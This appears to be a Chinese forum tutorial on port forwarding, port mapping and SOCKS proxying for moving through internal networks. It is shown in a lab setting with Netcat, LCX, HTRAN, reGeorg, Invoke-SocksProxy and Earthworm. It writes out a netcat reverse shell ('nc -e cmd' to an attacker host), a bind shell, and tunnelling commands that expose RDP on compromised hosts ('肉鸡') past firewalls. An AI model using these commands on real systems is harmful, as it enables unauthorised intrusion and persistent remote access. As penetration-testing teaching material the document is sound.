端口转发&端口映射

0x01 什么是端口转发

端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH)为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为,其使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内部)上的一个端口。

普通话:端口转发就是将一个端口,这个端口可以本机的端口也可以是本机可以访问到的任意主机的端口,转发到任意一台可以访问到的IP上,通常这个IP是公网ip

0x02 什么是端口映射

端口映射是NAT的一种,功能是把在公网的地址转翻译成私有地址,
采用路由方式的ADSL宽带路由器拥有一个动态或固定的公网IP,ADSL直接接在HUB或交换机上,所有的电脑共享上网。

普通话:就是映射端口,就是将一个内网端口映射到公网上的某个端口,假设我自己的电脑是在内网中,没有公网
IP,但是我想提供一个端口供其他人使用,这就是端口映射

0x03 区分端口映射和端口转发

端口映射场景:

外网主机A想访问内网主机B上的服务

端口转发场景:

外网主机A已经可以任意内网主机B上的端口,但是无法访问内网主机C上的端口

此时可以将C主机的端口到B主机的端口,那么外网主机A访问B主机的某某端口就相当于访问了C主机的某某

总结:

端口转发和端口映射原理是一样的只不过是应用场景不一样,假如我们将本机的端口转发到远程主机端口,我们可以叫端口映射,也可以叫端口转发,看下图【注意图上文字】

我们如果把本机可以访问到的任意 IP
的端口转发到另外一台服务器的端口,我们叫他端口转发,看下图【注意图上文字】

0x04 区分正向连接和反向连接

  • 正向连接:你的机器连接目标机器
  • 反向连接:目标机器反连你的机器
  • 不论映射,还是转发,都有正有反,原理相同

0x05 端口转发和代理工具

  • Lcx
  • Htran
  • Netcat

0x06 环境拓扑图


A 主机W7

B 主机W7

C 主机XP

0x07 NC

NC 用法

2. NC反向连接-网络环境设想:

A外网 无法访问 内网B 【A为攻击者处于外网】

B内网 可以访问 外网A

A:192.168.0.226

B:192.168.32.130

适合nc反向连接:也就将内网主机B shell反弹到 外网A

在外网主机A上执行:nc –nvlp 7777


在内网主机B上执行:nc –e cmd 192.168.0.226 7777


此处假装我连上了shell,并上传了nc


A主机处回显

3. NC正向连接-网络环境设想:

A内网 可以访问 外网B 【A为攻击者处于内网】

B外网 不能访问 内网A

适合nc正向连接:也就将内网主机A shell反弹到 外网B

在内网A 上执行 nc –l –p 5555 –e cmd .exe


在外网主机B上执行nc –nvv 192.168.0.226 5555

4. 阐述:

如果客户端【相当于内网】连接服务器【相当于外网】,想获取服务器的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想获取客户端的shell,那么称为反向shell

NC是安全的瑞士军刀,太出名了,不光能反弹shell,端口转发,还能聊天等等

0x08 LCX

LCX用法:

LCX端口映射环境设想:

A外网 无法访问 内网B 【A为攻击者处于外网】

B内网 可以访问 外网A

在内网主机B上执行:lcx.exe –slave 192.168.0.226 7777 192.168.32.132 3389

意思是:将内网 (192.168.32.132) 的 3389 端口转发到公网 (192.168.0.226) 的 7777
端口


在外网主机A上执行:lcx.exe –listen 7777 5555

意思是:监听主机上7777 端口 并转给5555

此时,在主机A连接远程桌面访问127.0.0.1:5555 就相当于访问了B的3389

LCX端口转发环境设想:

A外网 可以访问 B

B内网 可以访问 C

A不能访问 C

A主机ip:192.168.0.226

B 主机ip:192.168.32.130

C 主机ip:192.168.32.135

在内网主机B上执行:lcx.exe –tran 7777 192.168.32.135 3389

意思是:把C主机的3389端口转到B的7777端口上

此时访问B主机上的7777端口就相当于访问C主机上的3389

在A主机上运行mstsc连接192.168.32.130:7777或者B主机上127.0.0.1:7777就可以访问到C的3389

阐述

LCX多用于被空计算机(肉鸡)处于内网,黑客想使用远程终端进行管理的情况下,一般黑客会将肉鸡3389开启,之后通过LCX进行端口转发

0x09 HTRAN

HTRAN用法

HTRAN使用方法-环境设想一

B公网

A可直接访问B[并且B已经开启3389,B防火墙禁止3389连接]

B 也可以访问A

A主机ip:192.168.0.226

B 主机ip:192.168.32.130

C 主机ip:192.168.32.135

方法1:

在B主机上执行:Htran2.4.exe -p -tran 7777 127.0.0.1 3389

意思是:将B的3389转为本机的7777端口

此时A主机进行远程桌面终端连接:192.168.32.130:7777

方法2:

在A主机进行监听执行:HTran2.4.exe -p -listen 8888 9999

意思是:监听本机8888端口,并将8888端口流量转到9999

在B主机执行:HTran2.4.exe -p -slave 192.168.0.226 8888 127.0.0.1 3389

意思是:将本机的3389端口转发到A的8888端口

接下来在A主机上连接远程桌面访问本地的9999端口,即可连接到B的3389

HTRAN使用方法-环境设想二

B主机在公网

C在B的内网

A可以访问B,不可以访问C

A主机ip:192.168.0.226

B 主机ip:192.168.32.130

C 主机ip:192.168.32.135

方法1:

在B主机上执行:HTran2.4.exe -p -tran 8888 192.168.32.135 3389

意思是:将C主机的3389端口转发到B主机的8888

此时A连接B的8888就相当于访问C的3389

方法2:

在B主机上进行监听HTran2.4.exe -p -listen 7777 9999

意思是:监听B主机的7777端口,并将流量转发到9999

在C主机上执行:HTran2.4.exe -p -slave 192.168.32.130 7777 127.0.0.1 3389

意思是:将C的3389转到B的7777端口

代理

0x01 什么是代理

代理(英语:Proxy),也称网络代理,是一种特殊的网络服务,允许一个网络终端(一般为客户端)通过这个服务与另一个网络终端(一般为服务器)进行非直接的连接。一些网关、路由器等网络设备具备网络代理功能。一般认为代理服务有利于保障网络终端的隐私或安全,防止攻击

0x02 代理类别

HTTP代理

SOCKS代理

FTP代理

Telnet代理

SSL代理

0x03 区分正向代理和反向代理

正向代理中,proxy 和 client 同属一个 LAN,对 server 透明; 反向代理中,proxy 和
server 同属一个 LAN,对 client 透明,一个代理的是客户端,一个代理的是服务器


注:自己画的,不接受批评☺

0x04 reGeorg+Proxychains 代理

reGeorg是reDuh的继承者。主要是把内网服务器的端口通过http/https隧道转发到本机

选择对应服务器脚本上传到B主机的服务器,我这里面是php

访问文件显示Georg says, 'All seems fine',代理成功

然后执行reGeorgSocksProxy.py文件【需要urllib3模块】:python2
reGeorgSocksProxy.py –u “http://192.168.32.130/tunnel.php” –p 8888

在命令行界面同样显示 All seems fine即可

接下来使用工具Proxifier

首先添加一个server

配置代理规则

这里选择选择远程桌面程序mstsc

连接远程桌面

可以看到通过代理走的流量

0x05 基于powershell的Socks4/5代理

使用的是Invoke-SocksProxy,地址:https://github.com/p3nt4/Invoke-SocksProxy

Invoke-SocksProxy用法

Invoke-SocksProxy使用方法一

Win10主机ip:192.168.192.130

Win7 主机 ip:192.168.192.129

建立一个sock4/5代理

在Win10上首先以管理员权限运行powershell,如果提示脚本禁止执行,请输入“set-ExecutionPolicy
RemoteSigned”即可

输入Import-Module .\Invoke-SocksProxy.psm1 导入模块

输入Invoke-SocksProxy -bindPort 1234 在端口1234上创建socks代理


接下来在Win7上使用socks代理软件,通过Win10的1234端口进行外网访问

这次我是用的软件是sockscap,当然Proxychains肯定也行


点击文件选择“设置”设置socks服务器IP和端口,点击应用,确定


点击新建,选择需要通过代理的程序,我这里选择的火狐浏览器


点击运行,我们访问百度


在W10主机,窗口可以看到,已经连接成功了

Invoke-SocksProxy使用方法二

增加线程方式,输入Invoke-SocksProxy -bindPort 1234 -threads 400

如果不加-bindPort默认端口1080

0x06 Earthworm

EW 是一套便携式的网络穿透工具,具有 SOCKS
v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透

注:此工具已停止更新、下载

Earthworm用法

下图是一张示意图:


该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。

工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux
均被包括其内,更多平台的支持还在维护中,敬请期待。

使用方法:

以下所有样例,如无特殊说明代理端口均为1080,服务均为SOCKSv5代理服务.

该工具共有 6
种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

  1. 正向 SOCKS v5 服务器

\$ ./ew -s ssocksd -l 1080

  1. 反弹 SOCKS v5 服务器

这个操作具体分两步:

a) 先在一台具有公网 ip 的主机A上运行以下命令:

\$ ./ew -s rcsocks -l 1080 -e 8888

b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口

\$ ./ew -s rssocks -d 1.1.1.1 -e 8888

成功。

  1. 多级级联

工具中自带的三条端口转发指令,它们的参数格式分别为:

\$ ./ew -s lcx_listen -l 1080 -e 8888

\$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999

\$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999

通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5。

首先提供两个“二级级联”本地SOCKS测试样例:

a) lcx_tran 的用法

\$ ./ew -s ssocksd -l 9999

\$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999

b) lcx_listen、lcx_slave 的用法

\$ ./ew -s lcx_listen -l 1080 -e 8888

\$ ./ew -s ssocksd -l 9999

\$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999

再提供一个“三级级联”的本地SOCKS测试用例以供参考

\$ ./ew -s rcsocks -l 1080 -e 8888

\$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999

\$ ./ew -s lcx_listen -l 9999 -e 7777

\$ ./ew -s rssocks -d 127.0.0.1 -e 7777

数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

注: 以上内容来源参考自官网或者工具里面的Readme

Earthworm使用方法一【正向代理】

Win7 主机ip:192.168.192.1

Win7 主机 ip:192.168.192.9

目标网络边界存在公网IP且可任意开监听端口:

+---------+ +-------------------+

|HackTools| ->> | 7777-> 192.168.192.9 |

+---------+ +-------------------+

执行:ew_for_win_32.exe -s ssocksd -l 7777

意思是:在 w7 192.168.192. 9 主机上通过这个命令开启 7777 端口的 socks 代理


接下来可以使用sockscap或者
Proxychains等工具访问代理端口,因为之前提过用法我就不墨迹了,直接放演示截图


注:此属于正向代理,代理的是黑客客户端,连接的是肉鸡相当于服务器

Earthworm使用方法二【反向代理】

Win7 x32 主机ip:192.168.0.75 【hack机】

Win7 主机 ip:192.168.0.226 【公网机】

Win7 主机 ip:192.168.192.9 【内网机】

目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理

192.168.192.9 一台可控公网IP主机 可控内网主机

+---------+ +--------------------------+ | +---------------+

|HackTools| ->> | 1089 ->192.168.0.226 -> 9999 | 防火墙 | \<--
192.168.0.75 |

+---------+ +--------------------------+ | +---------------+

在公网机【vps】上执行:ew_for_win_32.exe -s rcsocks -l 1089 -e 9999

意思是:在 192.168.0.226 的公网主机添加转接隧道,将 1089
收到的代理请求转交给反连 9999 端口的主机


在内网主机【可控肉鸡】上执行:ew_for_win_32.exe -s rssocks -d 192.168.0.226 -e
9999

意思是:将目标网络的可控内网主机反向连接公网主机


接下来可以用通过访问 sockscap或者 Proxychains等工具192.168.0.226:1089 端口使用
rssocks 主机提供的 socks5 代理服务

Earthworm使用方法三

Win7 主机ip:192.168.192.1 【hack机】

Win7 主机 ip:192.168.192.9 【A】

Win7 主机 ip:192.168.192.11 【B】

获得目标网络内两台主机 A、B 的权限,情况描述如下:

A 主机: 存在公网 IP,且自由监听任意端口,无法访问特定资源

B 主机: 目标网络内部主机,可访问特定资源,但无法访问公网

A 主机可直连 B 主机

可控边界主机A 可访问指定资源的主机B

+---------+ +-----------------------+ +----------------

|HackTools| ->> | 1099 -->192.168.192.9 --> | ->> |7777 ->
192.168.192.11 |

+---------+ +-----------------------+ +-----------------+

在B主机上执行:ew_for_win_32.exe -s ssocksd -l 7777

意思是:在B主机上利用 ssocksd 方式启动 7777 端口的 socks 代理


在主机A上执行:ew_for_win_32.exe -s lcx_tran -l 1099 -f 192.168.192.11 -g 7777

/意思是将 1080 端口收到的 socks 代理请求转交给B主机的7777端口。


接下来可以用通过访问 sockscap或者 Proxychains等工具192.168.192.9:1099 端口使用
rssocks 主机提供的 socks5 代理服务

代理成功截图:

Earthworm使用方法四

Win7 主机ip:192.168.192.1 【hack机】

Win7 主机 ip:192.168.192.9 【A】

Win7 主机 ip:192.168.192.10 【公网机】

Win7 主机 ip:192.168.192.13 【B】

获得目标网络内两台主机 A、B 的权限,情况描述如下:

A 主机: 目标网络的边界主机,无公网 IP,无法访问特定资源。

B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网。

A 主机可直连 B 主机

  1. 在公网机上执行:ew_for_win_32.exe -s lcx_listen -l 1099 -e 8888

意思是:在 192.168.192.10 公网IP主机添加转接隧道,将 1080
收到的代理请求,转交给反连 8888 端口的主机

  1. 在主机B上执行:ew_for_win_32.exe -s ssocksd -l 9999

意思是:在 192.168.192.13 【B】主机上利用 ssocksd 方式启动 9999 端口的 socks
代理

  1. 在主机A上执行:ew_for_win_32.exe -s lcx_slave -d 192.168.192.10 -e 8888 -f
    192.168.192.13 -g 9999

意思是:在 192.168.192.9 上,通过工具的 lcx_slave 方式,打通192.168.192.10:8888
和 192.168.192.13:9999 之间的通讯隧道

  1. HackTools 可通过访问192.168.192.10:1099 来使用 192.168.192.13 主机提供的
    socks5 代理

成功截图:

B的

公网机的

A的

Hack机

注:红色正常我代理机B上不了外网

Earthworm总结

目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:

ssocksd rcsocks rssocks

lcx_slave lcx_tran lcx_listen

其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks
提供,分别对应正向与反向socks代理。

其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。

lcx 类别管道

lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。

lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。

lcx_listen
该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。

通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。

注:这个是之前个人写的总结,修了一下内容和图片分享了出来,很多诸如frp、ngrok等工具并没有总结进去;另如有问题希望各位大佬不吝赐教,不要喷小弟

点击收藏 | 12 关注 | 3
登录 后跟帖